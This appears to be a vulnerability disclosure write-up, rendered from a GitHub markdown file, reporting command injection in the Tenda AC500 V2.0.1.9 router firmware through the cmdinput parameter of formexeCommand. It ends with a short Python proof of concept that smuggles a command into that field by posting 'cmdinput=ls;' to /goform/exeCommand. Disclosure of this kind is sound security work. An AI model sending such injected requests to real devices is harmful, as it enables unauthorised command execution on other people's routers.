Skip to content

Latest commit

 

History

History
27 lines (17 loc) · 1.04 KB

formexecommand_cmdi.md

File metadata and controls

27 lines (17 loc) · 1.04 KB

Overview

Affected version

AC500 V2.0.1.9(1307)

Vulnerability details

The Tenda AC500 V2.0.1.9(1307) firmware, we discovered a command injection vulnerablility in formexeCommand function in the cmdinput parameter and the str varable is assigned to cmd_buf variable, which is directly used in doSystemCmd function, causing an arbitrary command execution. The user-provided cmdinput can trigger this security vulnerability.

image-20240409104740909

image-20240409104757311

POC

import requests
IP = "192.168.84.102"
url = f"http://{IP}/goform/exeCommand"
data = "cmdinput=ls;"
ret = requests.post(url=url,data=data)

image-20240407162830240